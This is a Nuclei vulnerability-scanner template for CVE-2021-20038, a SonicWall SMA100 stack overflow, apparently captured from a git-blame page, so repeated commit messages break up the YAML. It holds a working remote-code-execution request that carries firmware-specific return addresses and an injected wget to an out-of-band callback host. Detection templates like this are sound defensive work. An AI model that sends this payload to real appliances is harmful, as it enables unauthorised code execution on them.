nuclei-templates/cves/2021/CVE-2021-20038.yaml

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id: CVE-2021-20038
info:
name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
author: dwisiswant0, jbaines-r7
severity: critical
description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
reference:
- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20038
cwe-id: CWE-787
tags: cve,cve2021,overflow,rce,sonicwall,kev
requests:
- raw:
- |
GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
Host: {{Hostname}}
attack: clusterbomb
payloads:
prefix_addr:
Dashboard Enhancements (#3722) * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Enhancement: cves/2010/CVE-2010-1957.yaml by mp * Enhancement: cves/2010/CVE-2010-1977.yaml by mp * Enhancement: cves/2010/CVE-2010-1979.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-1983.yaml by mp * Enhancement: cves/2010/CVE-2010-2033.yaml by mp * Enhancement: cves/2010/CVE-2010-2034.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2036.yaml by mp * Enhancement: cves/2010/CVE-2010-2037.yaml by mp * Enhancement: cves/2010/CVE-2010-2045.yaml by mp * Enhancement: cves/2010/CVE-2010-2050.yaml by mp * Enhancement: cves/2010/CVE-2010-2122.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2128.yaml by mp * Enhancement: cves/2010/CVE-2010-2259.yaml by mp * Enhancement: cves/2010/CVE-2010-2307.yaml by mp * Enhancement: cves/2010/CVE-2010-2507.yaml by mp * Enhancement: cves/2010/CVE-2010-2680.yaml by mp * Enhancement: cves/2010/CVE-2010-2682.yaml by mp * Enhancement: cves/2010/CVE-2010-2857.yaml by mp * Enhancement: cves/2010/CVE-2010-2861.yaml by mp * Enhancement: cves/2010/CVE-2010-2918.yaml by mp * Enhancement: cves/2010/CVE-2010-2920.yaml by mp * Enhancement: cves/2010/CVE-2010-3203.yaml by mp * Enhancement: cves/2010/CVE-2010-3426.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4231.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4719.yaml by mp * Enhancement: cves/2010/CVE-2010-4769.yaml by mp * Enhancement: cves/2010/CVE-2010-4977.yaml by mp * Enhancement: cves/2010/CVE-2010-5028.yaml by mp * Enhancement: cves/2010/CVE-2010-5278.yaml by mp * Enhancement: cves/2010/CVE-2010-5286.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-1669.yaml by mp * Enhancement: cves/2011/CVE-2011-2744.yaml by mp * Enhancement: cves/2000/CVE-2000-0114.yaml by mp * Enhancement: cves/2011/CVE-2011-3315.yaml by mp * Enhancement: cves/2011/CVE-2011-4336.yaml by mp * Enhancement: cves/2011/CVE-2011-4618.yaml by mp * Enhancement: cves/2011/CVE-2011-4624.yaml by mp * Enhancement: cves/2011/CVE-2011-4804.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2012/CVE-2012-1823.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-1226.yaml by mp * Enhancement: cves/2012/CVE-2012-0996.yaml by mp * Enhancement: cves/2021/CVE-2021-39226.yaml by cs * Enhancement: cves/2021/CVE-2021-27358.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2012/CVE-2012-1835.yaml by mp * Enhancement: cves/2012/CVE-2012-0901.yaml by mp * Enhancement: cves/2011/CVE-2011-5265.yaml by mp * Enhancement: cves/2011/CVE-2011-5181.yaml by mp * Enhancement: cves/2011/CVE-2011-5179.yaml by mp * Enhancement: cves/2011/CVE-2011-5107.yaml by mp * Enhancement: cves/2011/CVE-2011-5106.yaml by mp * Enhancement: cves/2011/CVE-2011-4926.yaml by mp * Enhancement: cves/2012/CVE-2012-0991.yaml by mp * Enhancement: cves/2012/CVE-2012-0981.yaml by mp * Enhancement: cves/2012/CVE-2012-0896.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp Fix "too few spaces before comment" lint errors Co-authored-by: sullo <sullo@cirt.net>
2022-02-21 18:33:16 +00:00
- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
system_addr:
Dashboard Enhancements (#3722) * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Enhancement: cves/2010/CVE-2010-1957.yaml by mp * Enhancement: cves/2010/CVE-2010-1977.yaml by mp * Enhancement: cves/2010/CVE-2010-1979.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-1983.yaml by mp * Enhancement: cves/2010/CVE-2010-2033.yaml by mp * Enhancement: cves/2010/CVE-2010-2034.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2036.yaml by mp * Enhancement: cves/2010/CVE-2010-2037.yaml by mp * Enhancement: cves/2010/CVE-2010-2045.yaml by mp * Enhancement: cves/2010/CVE-2010-2050.yaml by mp * Enhancement: cves/2010/CVE-2010-2122.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2128.yaml by mp * Enhancement: cves/2010/CVE-2010-2259.yaml by mp * Enhancement: cves/2010/CVE-2010-2307.yaml by mp * Enhancement: cves/2010/CVE-2010-2507.yaml by mp * Enhancement: cves/2010/CVE-2010-2680.yaml by mp * Enhancement: cves/2010/CVE-2010-2682.yaml by mp * Enhancement: cves/2010/CVE-2010-2857.yaml by mp * Enhancement: cves/2010/CVE-2010-2861.yaml by mp * Enhancement: cves/2010/CVE-2010-2918.yaml by mp * Enhancement: cves/2010/CVE-2010-2920.yaml by mp * Enhancement: cves/2010/CVE-2010-3203.yaml by mp * Enhancement: cves/2010/CVE-2010-3426.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4231.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4719.yaml by mp * Enhancement: cves/2010/CVE-2010-4769.yaml by mp * Enhancement: cves/2010/CVE-2010-4977.yaml by mp * Enhancement: cves/2010/CVE-2010-5028.yaml by mp * Enhancement: cves/2010/CVE-2010-5278.yaml by mp * Enhancement: cves/2010/CVE-2010-5286.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-1669.yaml by mp * Enhancement: cves/2011/CVE-2011-2744.yaml by mp * Enhancement: cves/2000/CVE-2000-0114.yaml by mp * Enhancement: cves/2011/CVE-2011-3315.yaml by mp * Enhancement: cves/2011/CVE-2011-4336.yaml by mp * Enhancement: cves/2011/CVE-2011-4618.yaml by mp * Enhancement: cves/2011/CVE-2011-4624.yaml by mp * Enhancement: cves/2011/CVE-2011-4804.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2012/CVE-2012-1823.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-1226.yaml by mp * Enhancement: cves/2012/CVE-2012-0996.yaml by mp * Enhancement: cves/2021/CVE-2021-39226.yaml by cs * Enhancement: cves/2021/CVE-2021-27358.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2012/CVE-2012-1835.yaml by mp * Enhancement: cves/2012/CVE-2012-0901.yaml by mp * Enhancement: cves/2011/CVE-2011-5265.yaml by mp * Enhancement: cves/2011/CVE-2011-5181.yaml by mp * Enhancement: cves/2011/CVE-2011-5179.yaml by mp * Enhancement: cves/2011/CVE-2011-5107.yaml by mp * Enhancement: cves/2011/CVE-2011-5106.yaml by mp * Enhancement: cves/2011/CVE-2011-4926.yaml by mp * Enhancement: cves/2012/CVE-2012-0991.yaml by mp * Enhancement: cves/2012/CVE-2012-0981.yaml by mp * Enhancement: cves/2012/CVE-2012-0896.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp Fix "too few spaces before comment" lint errors Co-authored-by: sullo <sullo@cirt.net>
2022-02-21 18:33:16 +00:00
- "%08%b7%06%08" # for 10.2.1.2-24sv
- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
Dashboard Enhancements (#3722) * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Enhancement: cves/2010/CVE-2010-1957.yaml by mp * Enhancement: cves/2010/CVE-2010-1977.yaml by mp * Enhancement: cves/2010/CVE-2010-1979.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-1983.yaml by mp * Enhancement: cves/2010/CVE-2010-2033.yaml by mp * Enhancement: cves/2010/CVE-2010-2034.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2036.yaml by mp * Enhancement: cves/2010/CVE-2010-2037.yaml by mp * Enhancement: cves/2010/CVE-2010-2045.yaml by mp * Enhancement: cves/2010/CVE-2010-2050.yaml by mp * Enhancement: cves/2010/CVE-2010-2122.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2128.yaml by mp * Enhancement: cves/2010/CVE-2010-2259.yaml by mp * Enhancement: cves/2010/CVE-2010-2307.yaml by mp * Enhancement: cves/2010/CVE-2010-2507.yaml by mp * Enhancement: cves/2010/CVE-2010-2680.yaml by mp * Enhancement: cves/2010/CVE-2010-2682.yaml by mp * Enhancement: cves/2010/CVE-2010-2857.yaml by mp * Enhancement: cves/2010/CVE-2010-2861.yaml by mp * Enhancement: cves/2010/CVE-2010-2918.yaml by mp * Enhancement: cves/2010/CVE-2010-2920.yaml by mp * Enhancement: cves/2010/CVE-2010-3203.yaml by mp * Enhancement: cves/2010/CVE-2010-3426.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4231.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4719.yaml by mp * Enhancement: cves/2010/CVE-2010-4769.yaml by mp * Enhancement: cves/2010/CVE-2010-4977.yaml by mp * Enhancement: cves/2010/CVE-2010-5028.yaml by mp * Enhancement: cves/2010/CVE-2010-5278.yaml by mp * Enhancement: cves/2010/CVE-2010-5286.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-1669.yaml by mp * Enhancement: cves/2011/CVE-2011-2744.yaml by mp * Enhancement: cves/2000/CVE-2000-0114.yaml by mp * Enhancement: cves/2011/CVE-2011-3315.yaml by mp * Enhancement: cves/2011/CVE-2011-4336.yaml by mp * Enhancement: cves/2011/CVE-2011-4618.yaml by mp * Enhancement: cves/2011/CVE-2011-4624.yaml by mp * Enhancement: cves/2011/CVE-2011-4804.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2012/CVE-2012-1823.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-1226.yaml by mp * Enhancement: cves/2012/CVE-2012-0996.yaml by mp * Enhancement: cves/2021/CVE-2021-39226.yaml by cs * Enhancement: cves/2021/CVE-2021-27358.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2012/CVE-2012-1835.yaml by mp * Enhancement: cves/2012/CVE-2012-0901.yaml by mp * Enhancement: cves/2011/CVE-2011-5265.yaml by mp * Enhancement: cves/2011/CVE-2011-5181.yaml by mp * Enhancement: cves/2011/CVE-2011-5179.yaml by mp * Enhancement: cves/2011/CVE-2011-5107.yaml by mp * Enhancement: cves/2011/CVE-2011-5106.yaml by mp * Enhancement: cves/2011/CVE-2011-4926.yaml by mp * Enhancement: cves/2012/CVE-2012-0991.yaml by mp * Enhancement: cves/2012/CVE-2012-0981.yaml by mp * Enhancement: cves/2012/CVE-2012-0896.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp Fix "too few spaces before comment" lint errors Co-authored-by: sullo <sullo@cirt.net>
2022-02-21 18:33:16 +00:00
- "http"
# Enhanced by mp on 2022/04/29